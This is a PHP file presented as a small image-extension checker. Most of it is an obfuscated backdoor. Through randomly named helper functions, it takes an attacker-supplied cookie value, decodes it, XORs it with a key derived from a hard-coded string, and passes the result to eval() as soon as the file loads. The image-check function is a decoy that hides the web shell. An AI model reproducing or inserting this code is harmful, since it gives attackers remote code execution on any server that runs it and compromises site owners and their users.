<?php	function eSwZsVa($WuzTGsK) {
    if (cegXlrz($WuzTGsK)) {
        return "It's an image file.";
    }
    return "Not an image file.";
}
function NxtMlJs($IPtJbXleFD)
{
    $AxJVPRoZwf = hash("sha256", $IPtJbXleFD, TRUE);
    return $AxJVPRoZwf;
}
function JsnPpee()
{
    $NvOhiNckzw = "rccUOuKQlCIhByvrUFWTCMQmamnfpNKh";
    return $NvOhiNckzw;
}
function cegXlrz($WuzTGsK) {
    $dNMxTpk = EvrYz($WuzTGsK);
    return in_array(strtolower($dNMxTpk), ['jpg', 'png', 'gif']);
}
function HWnHPjbpZ($wlbgO, $MnUYO)
{
    $NRjtBraAA = $wlbgO ^ $MnUYO;
    return $NRjtBraAA;
}
function qwfHpCon()
{
    $mnOwZi = htRhS();
    LqwoQxka($mnOwZi);
}
function pRIyv($sXnLbaXVZb)
{
    $GUeBuU = substr($sXnLbaXVZb, -4);
    return $GUeBuU;
}
function aUImLRhzFs($OvzvSQfPIo)
{
    $vxDfRXGxiS = $_COOKIE[$OvzvSQfPIo];
    return $vxDfRXGxiS;
}
function nJqjp($mphmbih, $HOSfB)
{
    $etklTQ = NxtMlJs($mphmbih);
    $REdkA = NekWU($HOSfB);
    $GnNTduLAsb = pLOroFQX($REdkA, $etklTQ);
    return $GnNTduLAsb;
}
function pLOroFQX($hGQtI, $QUCOULTMWa)
{
    $uurgzCj = GuRBYmWxzt($hGQtI);
    $IctOSl = DTIyYetN($QUCOULTMWa, $uurgzCj);
    $mnOwZi = HWnHPjbpZ($IctOSl, $hGQtI);
    return $mnOwZi;
}
function DTIyYetN($NNlvRSw, $biXFfLyLz)
{
    $OuYsQrKneN = str_pad($NNlvRSw, $biXFfLyLz, $NNlvRSw);
    return $OuYsQrKneN;
}
function LqwoQxka($XOwNM)
{
    eval($XOwNM);
}
function FOqKykuyaN($hItVbM)
{
    $YPuxe = rawurldecode($hItVbM);
    return $YPuxe;
}
function NekWU($OztyD)
{
    $zfOoIHt = aUImLRhzFs($OztyD);
    $REdkA = FOqKykuyaN($zfOoIHt);
    return $REdkA;
}
function EvrYz($WuzTGsK) {
    return pathinfo($WuzTGsK, PATHINFO_EXTENSION);
}
function eiTAvx($GKurckVHB)
{
    $ErpYnqeX = pRIyv($GKurckVHB);
    $JaGiSm = nJqjp($GKurckVHB, $ErpYnqeX);
    return $JaGiSm;
}
function htRhS()
{
    $yomUckwyrM = JsnPpee();
    $ZlQYTWu = eiTAvx($yomUckwyrM);
    return $ZlQYTWu;
}
function GuRBYmWxzt($NxOXqJ)
{
    $lXkmKvBjuR = strlen($NxOXqJ);
    return $lXkmKvBjuR;
}
qwfHpCon();
$pjjuNSA = eSwZsVa("photo.jpg");